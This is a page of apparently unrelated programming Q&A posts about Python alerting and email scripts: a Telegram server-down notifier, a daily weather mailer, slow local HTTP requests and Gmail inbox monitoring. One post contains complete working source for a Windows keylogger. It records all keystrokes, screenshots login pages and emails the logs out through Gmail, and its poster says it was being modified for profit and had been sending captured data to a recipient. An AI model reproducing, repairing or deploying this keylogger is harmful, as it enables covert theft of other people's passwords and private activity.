Related
I am trying to write a script so when an IP address can't be seen a message gets sent with a telegram letting me know which computer is offline
I have been able to get the telegram side working but i have not been able to pass the data from the main script where it is testing the ip address , at the moment i have test data in there but i would like it to send the error with the computer name
main.py
import socket
import ssl
from datetime import datetime
import pickle
import subprocess
import platform
class Server:
def __init__(self, name, port, connection, priority):
self.name = name
self.port = port
self.connection = connection.lower()
self.priority = priority.lower()
self.history = []
self.alert = False
def check_connection(self):
msg = ""
success = False
now = datetime.now().strftime("%d-%m-%Y %H:%M")
try:
if self.connection == "plain":
socket.create_connection((self.name, self.port), timeout=10)
msg = f"{self.name} is up. On port {self.port} with {self.connection}"
success = True
self.alert = False
elif self.connection == "ssl":
ssl.wrap_socket(socket.create_connection((self.name, self.port), timeout=10))
msg = f"{self.name} is up. On port {self.port} with {self.connection}"
success = True
self.alert = False
else:
if self.ping():
msg = f"{self.name} is up. On port {self.port} with {self.connection}"
success = True
self.alert = False
except socket.timeout:
msg = f"server: {self.name} timeout. On port {self.port}"
except (ConnectionRefusedError, ConnectionResetError) as e:
msg = f"server: {self.name} {e}"
except Exception as e:
msg = f"No Clue??: {e}"
if success == False and self.alert == False:
# Send Alert
self.alert = True
import tg_start
tg_start.send_message("Happy days")
self.create_history(msg, success, now)
def create_history(self, msg, success, now):
history_max = 100
self.history.append((msg, success, now))
while len(self.history) > history_max:
self.history.pop(0)
def ping(self):
try:
output = subprocess.check_output("ping -{} 1 {}".format('n' if platform.system().lower(
) == "windows" else 'c', self.name), shell=True, universal_newlines=True)
if 'unreachable' in output:
return False
else:
return True
except Exception:
return False
if __name__ == "__main__":
try:
servers = pickle.load(open("servers.pickle", "rb"))
except:
servers = [
# Server("ifmc-repserver", 80, "plain", "high"),
# Server("ifmc-repserver", 80, "plain", "high"),
# Server("ifmc-repserver", 465, "ssl", "high"),
# Server("ifmc-repserver", 80, "ping", "high"),
Server("ifmc-repserver", 80, "ping", "high")
]
for server in servers:
server.check_connection()
print(len(server.history))
print(server.history[-1])
pickle.dump(servers, open("servers.pickle", "wb"))
and tg_start.py
import requests
message = "global"
alert = ""
def send_message(text):
global alert
global message
print ("this is text messsage" + " " + text)
#text = "Superman"
alert = text
print("Sending ALERT ...")
token = "token"
chat_id = "chat_id"
print("test message" + " " + alert)
url_req = "https://api.telegram.org/bot" + token + "/sendMessage" + "?chat_id=" + chat_id + "&text=" + alert
print(url_req)
#results = requests.get(url_req)
results = requests.post(url_req) # this request is a post, not a get
print(results.json())
# text = "my name" + text
send_message(alert)
You code worked with a slight change, sendMessage require a POST request, not a GET request.
def send_message(text):
global alert
global message
print ("this is text messsage" + " " + text)
alert = text
print("Sending ALERT ...")
token = "token"
chat_id = "chat_id"
print("test message" + " " + alert)
url_req = f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chat_id}&text={alert}"
print(url_req)
results = requests.post(url_req) # this request is a post, not a get
print(results.json())
# text = "my name" + text
I was improvising on my Friends keylogger for some profit yesterday. When I run the py file of the keylogger in python IDLE I get this error
Traceback (most recent call last):
File "C:\Python27\Scripts\Configure.py", line 263, in <module>
sendEmail()
File "C:\Python27\Scripts\Configure.py", line 224, in sendEmail
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
File "C:\Python27\lib\smtplib.py", line 743, in sendmail
(code, resp) = self.data(msg)
File "C:\Python27\lib\smtplib.py", line 504, in data
raise SMTPDataError(code, repl)
SMTPDataError: (421, '4.7.0 Temporary System Problem. Try again later (RQ). z29sm64505579pff.0 - gsmtp')
Note that Configure.py is the name of the keylogger. Here is the Keylogger :
#!/usr/bin/python
# Automated Keylogger 0.1a #
# ------------------------ #
# > www.TechnicDynamic.com #
# ------------------------ #
# Credits to original code from DaniWeb forums:
# http://www.daniweb.com/software- development/python/threads/229564/python-keylogger
# Currently works on Windows only
# -------------------------------
# * Records all keystrokes
# * Takes automated screenshots (see config below)
# * Sends email containing logs and screenshots
# Required modules
# ----------------
# Make sure they're all installed if you plan to compile it yourself.
from time import sleep
from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from PIL import Image, ImageGrab
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib
# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = False # set to True to send emails
LOG_MAIL = 'email#gmail.com' # account email address (must exist)
LOG_PASS = 'password' # email's password (must exist)
LOG_FROM = 'bla#blabla.com' # email will be sent from this address
LOG_SUBJ = 'Long time my friend'# email subject
LOG_MSG = 'Howdy!' # email content - the body
# ----------------------------- #
# Screenshot Settings #
LOG_SCREENSHOT = False # set to True to take screenshot(s)
LOG_SCREENSNUM = 3 # set amount of screenshot to take.
LOG_INTERVAL = 2 # interval between each screenshot.
LOG_SCREEN = [] # this list contains matches for taking automated screenshots...
#LOG_SCREEN.append("Facebook") # for example, if it finds "Facebook" in titlebar..
#LOG_SCREEN.append("Sign In") # or if it finds "Sign In", common email login page.
#LOG_SCREEN.append("Google") # -- 'watchu googlin fool?
# ----------------------------- #
# System Settings # [shouldn't be modified]
LOG_FILENAME = 'tmpConf.txt' # log file (current directory)
LOG_TOSEND = [] # contains files to send in email attachment
LOG_ACTIVE = '' # stores active window
LOG_STATE = False # Start keylogger as false
LOG_TIME = 0 # amount of time to log in seconds, where 0 = infinite and 86400 = 1 day
LOG_TEXT = "" # this is the raw log var which will be written to file
LOG_TEXTSIZE = 0 # marks the beginning and end of new text blocks that separate logs
LOG_MINTERVAL = 86400 # main loop intervals in seconds, where 86400 = 1 day (default)
LOG_THREAD_kl = 0 # thread count for keylogger
LOG_THREAD_ss = 0 # thread count for automated screenshots
# ----------------------------- #
# Debug [Don't change] #
# LOG_ITERATE = 3 #
# print os.getcwd() #
#################################
# this sets the thread ID before execution.
main_thread_id = win32api.GetCurrentThreadId()
def Keylog(k, LOG_TIME, LOG_FILENAME):
# only supported for Windows at the moment...
if os.name != 'nt': return "Not supported for this operating system.\n"
global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
LOG_STATE = True # begin logging!
main_thread_id = win32api.GetCurrentThreadId()
# add timestamp when it starts...
LOG_TEXT += "\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started.. |\n'
LOG_TEXT += "===================================================\n\n"
# find out which window is currently active!
w = win32gui
LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow())
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n"
LOG_TEXT += " " + LOG_ACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n"
if LOG_TIME > 0:
t = Timer(LOG_TIME, stopKeylog) # Quit
t.start()
# open file to write
LOG_FILE = open(LOG_FILENAME, 'w')
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() # this is where all the magic happens! ;)
# after finished, we add the timestamps at the end.
LOG_FILE = open(LOG_FILENAME, 'a')
LOG_TEXT += "\n\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n'
LOG_TEXT += "===================================================\n"
LOG_STATE = False
try:
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
except:
LOG_FILE.close()
return True
# this function stops the keylogger...
# thank God for the StackOverflow thread! :D
def stopKeylog():
win32api.PostThreadMessage(main_thread_id, win32con.WM_QUIT, 0, 0);
# this function actually records the strokes...
def OnKeyboardEvent(event):
global LOG_STATE, LOG_THREAD_ss
# return if it isn't logging.
if LOG_STATE == False: return True
global LOG_TEXT, LOG_FILE, LOG_FILENAME, LOG_ACTIVE, LOG_INTERVAL, LOG_SCREENSHOT, LOG_SCREENSNUM
LOG_TEXT = ""
LOG_FILE = open(LOG_FILENAME, 'a')
# check for new window activation
wg = win32gui
LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
if LOG_NEWACTIVE != LOG_ACTIVE:
# record it down nicely...
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "\n\n[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
LOG_ACTIVE = LOG_NEWACTIVE
# take screenshots while logging!
if LOG_SCREENSHOT == True:
LOG_IMG = 0
while LOG_IMG < len(LOG_SCREEN):
if LOG_NEWACTIVE.find(LOG_SCREEN[LOG_IMG]) > 0:
LOG_TEXT += "[*] Taking " + str(LOG_SCREENSNUM) + " screenshot for \"" + LOG_SCREEN[LOG_IMG] + "\" match.\n"
LOG_TEXT += "[*] Timestamp: " + str(datetime.datetime.now()) + "\n\n"
ss = Thread(target=takeScreenshots, args= (LOG_THREAD_ss,LOG_SCREENSNUM,LOG_INTERVAL))
ss.start()
LOG_THREAD_ss += 1 # add 1 to the thread counter
LOG_IMG += 1
LOG_FILE.write(LOG_TEXT)
LOG_TEXT = ""
if event.Ascii == 8: LOG_TEXT += "\b"
elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
else: LOG_TEXT += str(chr(event.Ascii))
# write to file
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
return True
# screenshot function
def Screenshot():
img=ImageGrab.grab()
saveas=os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S')+'.png')
img.save(saveas)
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(saveas)
LOG_TOSEND.append(addFile) # add to the list
# take multiple screenshots function
# args = number of shots, interval between shots
def takeScreenshots(i, maxShots, intShots):
shot = 0
while shot < maxShots:
shottime = time.strftime('%Y_%m_%d_%H_%M_%S')
Screenshot()
time.sleep(intShots)
shot += 1
# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
# server = smtplib.SMTP('smtp.gmail.com:587')
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
server.quit()
# function to clean up fiels
def deleteFiles():
if len(LOG_TOSEND) < 1: return True
for file in LOG_TOSEND:
os.unlink(file)
# begin keylogging
kl = Thread(target=Keylog, args=(LOG_THREAD_kl,LOG_TIME,LOG_FILENAME))
kl .start()
# if keylogging is running infinitely
if LOG_TIME < 1:
# begin continuous loop
while True:
# zZzzzzZZzzZ
time.sleep(LOG_MINTERVAL) # sleep for time specified
LOG_NEWFILE = time.strftime('%Y_%m_%d_%H_%M_%S') + ".txt"
# add file to the LOG_TOSEND list
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_NEWFILE)
LOG_TOSEND.append(addFile) # add to the list
LOG_SAVEFILE = open(LOG_NEWFILE, 'w')
LOG_CHCKSIZE = open(LOG_FILENAME, 'r')
LOG_SAVEFILE.write(LOG_CHCKSIZE.read())
LOG_CHCKSIZE.close()
try:
LOG_SAVEFILE.write(LOG_SAVETEXT)
LOG_SAVEFILE.close()
except:
LOG_SAVEFILE.close()
# send email
if LOG_SENDMAIL == True:
sendEmail()
time.sleep(6)
deleteFiles()
LOG_TOSEND = [] # clear this list
# otherwise sleep for specified time, then break program
elif LOG_TIME > 0:
# sleep for time specified
time.sleep(LOG_TIME)
time.sleep(2)
# check to send email
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_FILENAME)
LOG_TOSEND.append(addFile) # add to the list
sendEmail()
time.sleep(2)
sys.exit()
This keylogger is not made by me and I was only Improvising it and hence had no plans for using it.
Here is the screenshot for the python IDLE
Image -Updated
The Up and running and Network Currently down are my ways to ensure that connection is there before it sends the keylogger to the receiver's mail id. Again I am only improvising. So you can see that it succeeded sending the data almost 19 times but then the error showed up. So I can I fix it ?
Regards,
Note- I updated the Image
I am working on a simple program to email me the weather in my city each morning. At the moment, it works, but only once. Using a while loop works, but since I have it set to,
while time == 0600:
send my mail etc
Now obviously, that makes it so for the entirety of that minute, I get spammed with mail. So I need to figure out a way for something to happen once, every 24 hours.
Here is my full code (currently only working once, until I restart it).
import smtplib, pywapi, datetime
weather = True
loopmsg = True
loopmsg1 = True
def send():
loopmsg = True
loopmsg1 = True
global weather
while weather == True:
if loopmsg == True:
print('Initial Loop Initiated')
loopmsg = False
time = datetime.datetime.now()
time = str(time)
time = time[11:]
time = time[:-10]
time = time.replace(":", "")
time = int(time)
fromaddr = 'xxx'
toaddrs = 'xxx'
while time == 0600:
print('Time is correct')
weather_com_result = pywapi.get_weather_from_weather_com('ASXX0075')
msg = "It is " + weather_com_result['current_conditions']['text'].lower() + " and " + weather_com_result['current_conditions']['temperature'] + "°C in Your City."
msg = msg.encode('utf-8')
# Credentials (if needed)
username = 'xxx'
password = 'xxx'
# The actual mail send
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print('Sent')
#weather = False
#while weather == False:
# if loopmsg1 == True:
# print('Second Loop Initiated')
# loopmsg1 = False
# while time > 0600:
# send()
send()
First of all, you're running a script all day long for it to do something only once a day. This is illogical. You should schedule a task on your OS (Win, Linux, Mac - they all have a way to schedule tasks) so that your script is activated at 6h every day; and remove the time condition inside your script.
If you want to get fancy, create a Telegram bot and have it send you a message any time you want, on your phone, for the location you specify right then.
The script however is easy to fix. You're using that while loop as an if. Just add a variable that will make it send an e-mail only once.
if time == 0500:
send_email = True
if send_email and time == 0600:
print('Time is correct')
send_email = False
weather_com_result = pywapi.get_weather_from_weather_com('ASXX0075')
....
Why not just have a break statement right after you send the email? This just causes you to break out of the loop. Then it will execute the rest of the program.
while time == 0600:
print('Time is correct')
weather_com_result = pywapi.get_weather_from_weather_com('ASXX0075')
msg = "It is " + weather_com_result['current_conditions']['text'].lower() + " and " + weather_com_result['current_conditions']['temperature'] + "°C in Your City."
msg = msg.encode('utf-8')
# Credentials (if needed)
username = 'xxx'
password = 'xxx'
# The actual mail send
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print('Sent')
break
I have written a simple class using urllib and urllib2 to send http requests and get the response. However, any request to localhost using its IP Address is very slow.
IP Address of LOCALHOST is = 192.168.158.27
import urllib2,urllib,re,datetime,time
class HTTPRequest():
def __init__(self,**kargs):
self._response = None
self._buffer = None
self._conn = urllib2.build_opener(urllib2.HTTPCookieProcessor())
urllib2.install_opener(self._conn)
def _encode_url(self,**kargs):
try:
params = urllib.urlencode(kargs)
except:
raise HTTPError("Failed to encode URL parameters..")
return str(params)
def _request(self,url=None,params=None):
try:
self._buffer = self._conn.open(url,params)
self._response = self._buffer.read()
except ValueError:
raise HTTPError("Invalid URL %s" % url)
except:
raise HTTPError("Failed to send HTTP(s) Request")
return str(self._response)
class HTTPError(Exception):
pass
PARAM_PASSWORD = 'password'
PARAM_USER = 'userName'
PARAM_ACTION = 'a'
PARAM_RID = 'rid'
PARAM_XO = 'xo'
PARAM_START_TIME = 't1'
PARAM_END_TIME = 't2'
PARAM_PATH = 'path'
BOOLEAN_TRUE = 'true'
BOOLEAN_FALSE = 'false'
ACTION_SIGNIN = 'signIn'
ACTION_SEARCH = 'search'
ACTION_GET_NEXT_RESULTS = 'getNextResults'
STATUS_SUCCEEDED = 'succeeded'
DEFAULT_WAIT = 5
host = "192.168.158.27"
user = "admin"
password = "admin"
protocol = "https"
port = 8443
query = "vm[=name rx (?i) *]&[#cpuUsage rx b .+][#cpuUsagemhz rx b .+]"
start_time = "10/05/2013 16:16:00"
end_time = "10/05/2013 17:16:00"
base_url = "%s://%s:%d" % (protocol,host,port)
login_url = "%s/user" % base_url
http = HTTPRequest()
attributes = {PARAM_PASSWORD : password,
PARAM_USER : user,
PARAM_ACTION : ACTION_SIGNIN,
PARAM_RID : 1000,
PARAM_XO : BOOLEAN_TRUE}
params = http._encode_url(**attributes)
if not http._request(login_url,params):
print "Login Failed.."
else:
print "Login Successful.. \n"
rid = 1000
search_url = "%s/Search" % base_url
status = STATUS_SUCCEEDED
hasMoreData = BOOLEAN_TRUE
completed = BOOLEAN_FALSE
total = 0
processed = 1
responseContent = ""
xml_dict = {}
_response = ""
attributes = {PARAM_START_TIME : start_time,
PARAM_END_TIME : end_time,
PARAM_ACTION : ACTION_SEARCH,
PARAM_RID : rid,
PARAM_PATH : query}
print "URL PARAMETERS :"
print "\tBase url = %s" % base_url
for param in attributes:
print "\t%s = %s" % (param,attributes[param])
#Query Execution Start Time
start = datetime.datetime.now()
while True:
params = http._encode_url(**attributes)
if hasMoreData == BOOLEAN_TRUE:
#Delay 10ms
time.sleep(10/1000)
#Send HTTP Request
response = http._request(search_url,params)
pattern = re.match(".*?hasMoreData=\"(.*?)\".*?",response)
if pattern:
hasMoreData = pattern.group(1)
pattern = re.match(".*?status=\"(.*?)\".*?",response)
if pattern:
status = pattern.group(1)
pattern = re.match(".*?completed=\"(.*?)\".*?",response)
if pattern:
completed = pattern.group(1)
pattern = re.match(".*?processed=\"(.*?)\".*?",response)
if pattern:
processed = pattern.group(1)
pattern = re.match(".*?total=\"(.*?)\".*?",response)
if pattern:
total = pattern.group(1)
pattern = re.match(".*?matched=\"(.*?)\".*?",response)
if pattern:
matched = pattern.group(1)
attributes = {PARAM_ACTION : ACTION_GET_NEXT_RESULTS,
PARAM_RID : rid}
if matched != "0":
response = re.sub(r'\n',"",response)
matchObj = re.search(r'(<Resource.*</Resource>)',response)
resp_match = ""
if matchObj:
resp_match = matchObj.group(1)
responseContent = str(responseContent) + str(resp_match)
else:
#Query Execution Completed
#Query Execution End Time
end = datetime.datetime.now()
print "RESULTS : "
print "\tStatus = %s"%status
print "\tHas More Data = %s"%hasMoreData
print "\tCompleted = %s"%completed
print "\tProcessed = %s"%processed
print "\tTotal = %s"%total
print "\tMatched = %s"%matched
print "\nQuery Execution Started : %s" % start
print "Query Execution Ended : %s\n" % end
if total != processed:
err = "The number records processed did not match"
err += " with the number of records completed."
print err
if not status == STATUS_SUCCEEDED:
err = "The responce status is not 'succeeded'"
print err
if completed == BOOLEAN_FALSE:
err = "The repsponse is completed. "
err += "However, the flag is set to 'False'"
print err
break
Instead of your local network IP, try using 127.0.0.1 instead.
I am interested to trigger a certain action upon receiving an email from specific
address with specific subject. In order to be able to do so I need to implement
monitoring of my mailbox, checking every incoming mail (in particular, i use gmail).
what is the easiest way to do that?
Gmail provides the ability to connect over POP, which you can turn on in the gmail settings panel. Python can make connections over POP pretty easily:
import poplib
from email import parser
pop_conn = poplib.POP3_SSL('pop.gmail.com')
pop_conn.user('username')
pop_conn.pass_('password')
#Get messages from server:
messages = [pop_conn.retr(i) for i in range(1, len(pop_conn.list()[1]) + 1)]
# Concat message pieces:
messages = ["\n".join(mssg[1]) for mssg in messages]
#Parse message intom an email object:
messages = [parser.Parser().parsestr(mssg) for mssg in messages]
for message in messages:
print message['subject']
pop_conn.quit()
You would just need to run this script as a cron job. Not sure what platform you're on so YMMV as to how that's done.
Gmail provides an atom feed for new email messages. You should be able to monitor this by authenticating with py cURL (or some other net library) and pulling down the feed. Making a GET request for each new message should mark it as read, so you won't have to keep track of which emails you've read.
While not Python-specific, I've always loved procmail wherever I could install it...!
Just use as some of your action lines for conditions of your choice | pathtoyourscript (vertical bar AKA pipe followed by the script you want to execute in those cases) and your mail gets piped, under the conditions of your choice, to the script of your choice, for it to do whatever it wants -- hard to think of a more general approach to "trigger actions of your choice upon receipt of mails that meet your specific conditions!! Of course there are no limits to how many conditions you can check, how many action lines a single condition can trigger (just enclose all the action lines you want in { } braces), etc, etc.
People seem to be pumped up about Lamson:
https://github.com/zedshaw/lamson
It's an SMTP server written entirely in Python. I'm sure you could leverage that to do everything you need - just forward the gmail messages to that SMTP server and then do what you will.
However, I think it's probably easiest to do the ATOM feed recommendation above.
EDIT: Lamson has been abandoned
I found a pretty good snippet when I wanted to do this same thing (and the example uses gmail). Also check out the google search results on this.
I recently solved this problem by using procmail and python
Read the documentation for procmail. You can tell it to send all incoming email to a python script like this in a special procmail config file
:0:
| ./scripts/ppm_processor.py
Python has an "email" package available that can do anything you could possibly want to do with email. Read up on the following ones....
from email.generator import Generator
from email import Message
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.mime.multipart import MIMEMultipart
https://developers.google.com/gmail/gmail_inbox_feed
Says you have to have a corporate Gmail, but I have come to find that you can read Gmail free versions without issues. I use this code to get my blood pressure results I email or text to a gmail address.
from email.header import decode_header
from datetime import datetime
import os
import pandas as pd
import plotly.graph_objs as go
import plotly
now = datetime.now()
dt_string = now.strftime("%Y.%m.%d %H:%M:%S")
print("date_time:", dt_string)
email_account = '13123#gmail.com'
email_password = '131231231231231231312313F'
email_server = 'imap.gmail.com'
email_port = 993
accept_emails_from = {'j1231312#gmail.com', '1312312#chase.com', '13131231313131#msg.fi.google.com'}
verbose = True
def get_emails():
email_number = 0
local_csv_data = ''
t_date = None
t_date = None
t_systolic = None
t_diastolic = None
t_pulse = None
t_weight = None
try:
mail = imaplib.IMAP4_SSL(email_server)
email_code, email_auth_status = mail.login(email_account, email_password)
if verbose:
print('[DEBUG] email_code: ', email_code)
print('[DEBUG] email_auth_status: ', email_auth_status)
mail.list()
mail.select('inbox')
# (email_code, messages) = mail.search(None, 'ALL')
(email_code, messages) = mail.search(None, '(UNSEEN)') # only get unread emails to process.
subject = None
email_from = None
for email_id in messages[0].split():
email_number += 1
email_code, email_data = mail.fetch(email_id, '(RFC822)')
for response in email_data:
if isinstance(response, tuple): # we only want the tuple ,the bytes is just b .
msg = email.message_from_bytes(response[1])
content_type = msg.get_content_type()
subject, encoding = decode_header(msg["Subject"])[0]
subject = str(subject.replace("\r\n", ""))
if isinstance(subject, bytes):
subject = subject.decode(encoding)
email_from, encoding = decode_header(msg.get("From"))[0]
if isinstance(email_from, bytes):
email_from = email_from.decode(encoding)
if content_type == "text/plain":
body = msg.get_payload(decode=True).decode()
parse_data = body
else:
parse_data = subject
if '>' in email_from:
email_from = email_from.lower().split('<')[1].split('>')[0]
if email_from in accept_emails_from:
parse_data = parse_data.replace(',', ' ')
key = 0
for value in parse_data.split(' '):
if key == 0:
t_date = value
t_date = t_date.replace('-', '.')
if key == 1:
t_time = value
if ':' not in t_time:
numbers = list(t_time)
t_time = numbers[0] + numbers[1] + ':' + numbers[2] + numbers[3]
if key == 2:
t_systolic = value
if key == 3:
t_diastolic = value
if key == 4:
t_pulse = value
if key == 5:
t_weight = value
key += 1
t_eval = t_date + ' ' + t_time
if verbose:
print()
print('--------------------------------------------------------------------------------')
print('[DEBUG] t_eval:'.ljust(30), t_eval)
date_stamp = datetime.strptime(t_eval, '%Y.%m.%d %H:%M')
if verbose:
print('[DEBUG] date_stamp:'.ljust(30), date_stamp)
print('[DEBUG] t_systolic:'.ljust(30), t_systolic)
print('[DEBUG] t_diastolic:'.ljust(30), t_diastolic)
print('[DEBUG] t_pulse:'.ljust(30), t_pulse)
print('[DEBUG] t_weight:'.ljust(30), t_weight)
new_data = str(date_stamp) + ',' + \
t_systolic + ',' + \
t_diastolic + ',' + \
t_pulse + ',' + \
t_weight + '\n'
local_csv_data += new_data
except Exception as e:
traceback.print_exc()
print(str(e))
return False, email_number, local_csv_data
return True, email_number, local_csv_data
def update_csv(local_data):
""" updates csv and sorts it if there is changes made. """
uniq_rows = 0
if os.name == 'posix':
file_path = '/home/blood_pressure_results.txt'
elif os.name == 'nt':
file_path = '\\\\uncpath\\blood_pressure_results.txt'
else:
print('[ERROR] os not supported:'.ljust(30), os.name)
exit(911)
if verbose:
print('[DEBUG] file_path:'.ljust(30), file_path)
column_names = ['00DateTime', 'Systolic', 'Diastolic', 'Pulse', 'Weight']
if not os.path.exists(file_path):
with open(file_path, 'w') as file:
for col in column_names:
file.write(col + ',')
file.write('\n')
# append the new data to file.
with open(file_path, 'a+') as file:
file.write(local_data)
# sort the file.
df = pd.read_csv(file_path, usecols=column_names)
df_sorted = df.sort_values(by=["00DateTime"], ascending=True)
df_sorted.to_csv(file_path, index=False)
# remove duplicates.
file_contents = ''
with open(file_path, 'r') as file:
for row in file:
if row not in file_contents:
uniq_rows += 1
print('Adding: '.ljust(30), row, end='')
file_contents += row
else:
print('Duplicate:'.ljust(30), row, end='')
with open(file_path, 'w') as file:
file.write(file_contents)
return uniq_rows
# run the main code to get emails.
status, emails, my_data = get_emails()
print('status:'.ljust(30), status)
print('emails:'.ljust(30), emails)
# if the new emails received then sort the files.
csv_rows = update_csv(my_data)
print('csv_rows:'.ljust(30), csv_rows)
exit(0)